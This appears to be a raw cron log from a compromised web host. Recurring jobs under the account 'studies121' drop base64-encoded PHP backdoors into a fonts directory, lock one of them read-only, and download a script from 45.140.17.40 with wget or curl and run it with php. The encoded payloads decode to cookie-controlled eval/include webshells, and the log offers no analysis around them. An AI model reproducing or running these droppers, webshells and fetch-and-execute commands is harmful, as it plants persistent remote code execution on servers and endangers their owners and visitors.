Feb 22 11:03:01 ip-184-168-122-23 CROND[10794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:03:01 ip-184-168-122-23 CROND[10795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:04:01 ip-184-168-122-23 CROND[11109]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:04:01 ip-184-168-122-23 CROND[11111]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 11:04:01 ip-184-168-122-23 CROND[11110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:04:01 ip-184-168-122-23 CROND[11112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:04:01 ip-184-168-122-23 CROND[11113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:05:01 ip-184-168-122-23 CROND[11476]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:05:01 ip-184-168-122-23 CROND[11480]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 11:05:01 ip-184-168-122-23 CROND[11478]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:05:01 ip-184-168-122-23 CROND[11481]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 11:05:01 ip-184-168-122-23 CROND[11479]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 11:05:01 ip-184-168-122-23 CROND[11483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:05:01 ip-184-168-122-23 CROND[11482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:06:01 ip-184-168-122-23 CROND[11803]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:06:01 ip-184-168-122-23 CROND[11806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:06:01 ip-184-168-122-23 CROND[11807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:06:01 ip-184-168-122-23 CROND[11805]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 11:06:01 ip-184-168-122-23 CROND[11808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:07:01 ip-184-168-122-23 CROND[12244]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:07:01 ip-184-168-122-23 CROND[12243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:07:01 ip-184-168-122-23 CROND[12246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:07:01 ip-184-168-122-23 CROND[12245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:08:01 ip-184-168-122-23 CROND[12574]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:08:01 ip-184-168-122-23 CROND[12577]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 11:08:01 ip-184-168-122-23 CROND[12578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:08:01 ip-184-168-122-23 CROND[12579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:08:01 ip-184-168-122-23 CROND[12581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:09:01 ip-184-168-122-23 CROND[12926]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:09:01 ip-184-168-122-23 CROND[12928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:09:01 ip-184-168-122-23 CROND[12929]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 22 11:09:01 ip-184-168-122-23 CROND[12930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:09:01 ip-184-168-122-23 CROND[12931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:10:01 ip-184-168-122-23 CROND[13277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:10:01 ip-184-168-122-23 CROND[13278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:10:01 ip-184-168-122-23 CROND[13280]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 11:10:01 ip-184-168-122-23 CROND[13281]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 11:10:01 ip-184-168-122-23 CROND[13282]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 11:10:01 ip-184-168-122-23 CROND[13284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:10:01 ip-184-168-122-23 CROND[13283]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 11:10:01 ip-184-168-122-23 CROND[13286]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:11:01 ip-184-168-122-23 CROND[13608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:11:01 ip-184-168-122-23 CROND[13611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:11:01 ip-184-168-122-23 CROND[13612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:11:01 ip-184-168-122-23 CROND[13610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:12:01 ip-184-168-122-23 CROND[13969]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:12:01 ip-184-168-122-23 CROND[13972]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 11:12:01 ip-184-168-122-23 CROND[13974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:12:01 ip-184-168-122-23 CROND[13973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:12:01 ip-184-168-122-23 CROND[13976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:13:01 ip-184-168-122-23 CROND[14369]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:13:01 ip-184-168-122-23 CROND[14373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:13:01 ip-184-168-122-23 CROND[14371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:13:01 ip-184-168-122-23 CROND[14372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:14:01 ip-184-168-122-23 CROND[14750]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:14:01 ip-184-168-122-23 CROND[14753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:14:01 ip-184-168-122-23 CROND[14755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:14:01 ip-184-168-122-23 CROND[14754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:14:01 ip-184-168-122-23 CROND[14752]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 11:15:01 ip-184-168-122-23 CROND[15080]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:15:01 ip-184-168-122-23 CROND[15082]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 11:15:01 ip-184-168-122-23 CROND[15083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:15:01 ip-184-168-122-23 CROND[15084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:15:01 ip-184-168-122-23 CROND[15086]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
